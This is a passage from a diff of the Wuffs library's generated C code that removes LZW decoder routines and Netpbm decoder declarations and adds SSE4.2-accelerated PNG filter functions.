(self->private_impl.f_pending_literal_width_plus_one > 0u) { +- self->private_impl.f_literal_width = (self->private_impl.f_pending_literal_width_plus_one - 1u); +- } +- self->private_impl.f_clear_code = (((uint32_t)(1u)) << self->private_impl.f_literal_width); +- self->private_impl.f_end_code = (self->private_impl.f_clear_code + 1u); +- self->private_impl.f_save_code = self->private_impl.f_end_code; +- self->private_impl.f_prev_code = self->private_impl.f_end_code; +- self->private_impl.f_width = (self->private_impl.f_literal_width + 1u); +- self->private_impl.f_bits = 0u; +- self->private_impl.f_n_bits = 0u; +- self->private_impl.f_output_ri = 0u; +- self->private_impl.f_output_wi = 0u; +- v_i = 0u; +- while (v_i < self->private_impl.f_clear_code) { +- self->private_data.f_lm1s[v_i] = 0u; +- self->private_data.f_suffixes[v_i][0u] = ((uint8_t)(v_i)); +- v_i += 1u; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_a128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_a128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; + } +- while (true) { +- wuffs_lzw__decoder__read_from(self, a_src); +- if (self->private_impl.f_output_wi > 0u) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_lzw__decoder__write_to(self, a_dst); +- if (status.repr) { +- goto suspend; +- } +- } +- if (self->private_impl.f_read_from_return_value == 0u) { +- break; +- } else if (self->private_impl.f_read_from_return_value == 1u) { +- continue; +- } else if (self->private_impl.f_read_from_return_value == 2u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- } else if (self->private_impl.f_read_from_return_value == 3u) { +- status = wuffs_base__make_status(wuffs_lzw__error__truncated_input); +- goto exit; +- } else if (self->private_impl.f_read_from_return_value == 4u) { +- status = wuffs_base__make_status(wuffs_lzw__error__bad_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); +- goto exit; +- } ++ v_curr.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_a128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; + } +- +- ok: +- self->private_impl.p_transform_io[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ v_curr.len = 0; + } +- return status; ++ return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// -------- func lzw.decoder.read_from ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func png.decoder.filter_3_distance_4_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_lzw__decoder__read_from( +- wuffs_lzw__decoder* self, +- wuffs_base__io_buffer* a_src) { +- uint32_t v_clear_code = 0; +- uint32_t v_end_code = 0; +- uint32_t v_save_code = 0; +- uint32_t v_prev_code = 0; +- uint32_t v_width = 0; +- uint32_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_output_wi = 0; +- uint32_t v_code = 0; +- uint32_t v_c = 0; +- uint32_t v_o = 0; +- uint32_t v_steps = 0; +- uint8_t v_first_byte = 0; +- uint16_t v_lm1_b = 0; +- uint16_t v_lm1_a = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++wuffs_png__decoder__filter_3_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ __m128i v_x128 = {0}; ++ __m128i v_a128 = {0}; ++ __m128i v_b128 = {0}; ++ __m128i v_p128 = {0}; ++ __m128i v_k128 = {0}; + +- v_clear_code = self->private_impl.f_clear_code; +- v_end_code = self->private_impl.f_end_code; +- v_save_code = self->private_impl.f_save_code; +- v_prev_code = self->private_impl.f_prev_code; +- v_width = self->private_impl.f_width; +- v_bits = self->private_impl.f_bits; +- v_n_bits = self->private_impl.f_n_bits; +- v_output_wi = self->private_impl.f_output_wi; +- while (true) { +- if (v_n_bits < v_width) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { +- v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); +- iop_a_src += ((31u - v_n_bits) >> 3u); +- v_n_bits |= 24u; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- self->private_impl.f_read_from_return_value = 3u; +- } else { +- self->private_impl.f_read_from_return_value = 2u; +- } +- break; +- } else { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- if (v_n_bits >= v_width) { +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- self->private_impl.f_read_from_return_value = 3u; +- } else { +- self->private_impl.f_read_from_return_value = 2u; +- } +- break; +- } else { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- if (v_n_bits < v_width) { +- self->private_impl.f_read_from_return_value = 5u; +- break; +- } +- } +- } +- } +- v_code = ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_width)); +- v_bits >>= v_width; +- v_n_bits -= v_width; +- if (v_code < v_clear_code) { +- self->private_data.f_output[v_output_wi] = ((uint8_t)(v_code)); +- v_output_wi = ((v_output_wi + 1u) & 8191u); +- if (v_save_code <= 4095u) { +- v_lm1_a = (((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u); +- self->private_data.f_lm1s[v_save_code] = v_lm1_a; +- if ((v_lm1_a % 8u) != 0u) { +- self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; +- memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); +- self->private_data.f_suffixes[v_save_code][(v_lm1_a % 8u)] = ((uint8_t)(v_code)); +- } else { +- self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); +- self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); +- } +- v_save_code += 1u; +- if (v_width < 12u) { +- v_width += (1u & (v_save_code >> v_width)); +- } +- v_prev_code = v_code; +- } +- } else if (v_code <= v_end_code) { +- if (v_code == v_end_code) { +- self->private_impl.f_read_from_return_value = 0u; +- break; +- } +- v_save_code = v_end_code; +- v_prev_code = v_end_code; +- v_width = (self->private_impl.f_literal_width + 1u); +- } else if (v_code <= v_save_code) { +- v_c = v_code; +- if (v_code == v_save_code) { +- v_c = v_prev_code; +- } +- v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lm1s[v_c])) & 4294967288u)) & 8191u); +- v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lm1s[v_c]))) & 8191u); +- v_steps = (((uint32_t)(self->private_data.f_lm1s[v_c])) >> 3u); +- while (true) { +- memcpy((self->private_data.f_output)+(v_o), (self->private_data.f_suffixes[v_c]), 8u); +- if (v_steps <= 0u) { +- break; +- } +- v_steps -= 1u; +- v_o = (((uint32_t)(v_o - 8u)) & 8191u); +- v_c = ((uint32_t)(self->private_impl.f_prefixes[v_c])); +- } +- v_first_byte = self->private_data.f_suffixes[v_c][0u]; +- if (v_code == v_save_code) { +- self->private_data.f_output[v_output_wi] = v_first_byte; +- v_output_wi = ((v_output_wi + 1u) & 8191u); ++ if (((uint64_t)(a_prev.len)) == 0u) { ++ v_k128 = _mm_set1_epi8((int8_t)(254u)); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; + } +- if (v_save_code <= 4095u) { +- v_lm1_b = (((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u); +- self->private_data.f_lm1s[v_save_code] = v_lm1_b; +- if ((v_lm1_b % 8u) != 0u) { +- self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; +- memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); +- self->private_data.f_suffixes[v_save_code][(v_lm1_b % 8u)] = v_first_byte; +- } else { +- self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); +- self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); +- } +- v_save_code += 1u; +- if (v_width < 12u) { +- v_width += (1u & (v_save_code >> v_width)); +- } +- v_prev_code = v_code; ++ v_curr.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; + } +- } else { +- self->private_impl.f_read_from_return_value = 4u; +- break; +- } +- if (v_output_wi > 4095u) { +- self->private_impl.f_read_from_return_value = 1u; +- break; ++ v_curr.len = 0; + } +- } +- if (self->private_impl.f_read_from_return_value != 2u) { +- while (v_n_bits >= 8u) { +- v_n_bits -= 8u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- self->private_impl.f_read_from_return_value = 5u; +- break; ++ } else { ++ v_k128 = _mm_set1_epi8((int8_t)(1u)); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_p128 = _mm_avg_epu8(v_a128, v_b128); ++ v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_p128 = _mm_avg_epu8(v_a128, v_b128); ++ v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ } ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_p128 = _mm_avg_epu8(v_a128, v_b128); ++ v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; + } ++ v_curr.len = 0; ++ v_prev.len = 0; + } + } +- self->private_impl.f_save_code = v_save_code; +- self->private_impl.f_prev_code = v_prev_code; +- self->private_impl.f_width = v_width; +- self->private_impl.f_bits = v_bits; +- self->private_impl.f_n_bits = v_n_bits; +- self->private_impl.f_output_wi = v_output_wi; +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- + return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// -------- func lzw.decoder.write_to ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func png.decoder.filter_4_distance_3_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_lzw__decoder__write_to( +- wuffs_lzw__decoder* self, +- wuffs_base__io_buffer* a_dst) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__slice_u8 v_s = {0}; +- uint64_t v_n = 0; ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ __m128i v_x128 = {0}; ++ __m128i v_a128 = {0}; ++ __m128i v_b128 = {0}; ++ __m128i v_c128 = {0}; ++ __m128i v_p128 = {0}; ++ __m128i v_pa128 = {0}; ++ __m128i v_pb128 = {0}; ++ __m128i v_pc128 = {0}; ++ __m128i v_smallest128 = {0}; ++ __m128i v_z128 = {0}; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; + } +- } +- +- uint32_t coro_susp_point = self->private_impl.p_write_to[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (self->private_impl.f_output_wi > 0u) { +- if (self->private_impl.f_output_ri > self->private_impl.f_output_wi) { +- status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- v_s = wuffs_base__make_slice_u8_ij(self->private_data.f_output, +- self->private_impl.f_output_ri, +- self->private_impl.f_output_wi); +- v_n = wuffs_base__io_writer__copy_from_slice(&iop_a_dst, io2_a_dst,v_s); +- if (v_n == ((uint64_t)(v_s.len))) { +- self->private_impl.f_output_ri = 0u; +- self->private_impl.f_output_wi = 0u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- self->private_impl.f_output_ri = (((uint32_t)(self->private_impl.f_output_ri + ((uint32_t)(v_n)))) & 8191u); +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; + } +- +- ok: +- self->private_impl.p_write_to[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_write_to[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func lzw.decoder.flush +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 +-wuffs_lzw__decoder__flush( +- wuffs_lzw__decoder* self) { +- if (!self) { +- return wuffs_base__make_slice_u8(NULL, 0); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_slice_u8(NULL, 0); +- } +- +- uint32_t v_ri = 0; +- uint32_t v_wi = 0; +- +- v_ri = self->private_impl.f_output_ri; +- v_wi = self->private_impl.f_output_wi; +- self->private_impl.f_output_ri = 0u; +- self->private_impl.f_output_wi = 0u; +- if (v_ri <= v_wi) { +- return wuffs_base__make_slice_u8_ij(self->private_data.f_output, v_ri, v_wi); ++ v_curr.len = 3; ++ v_prev.len = 3; ++ const uint8_t* i_end2_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end2_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- return wuffs_base__make_slice_u8(self->private_data.f_output, 0); ++ return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_netpbm__error__bad_header[] = "#netpbm: bad header"; +-const char wuffs_netpbm__error__truncated_input[] = "#netpbm: truncated input"; +-const char wuffs_netpbm__error__unsupported_netpbm_file[] = "#netpbm: unsupported Netpbm file"; +-const char wuffs_netpbm__note__internal_note_short_read[] = "@netpbm: internal note: short read"; +- +-// ---------------- Private Consts +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_image_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_frame_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_frame( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- 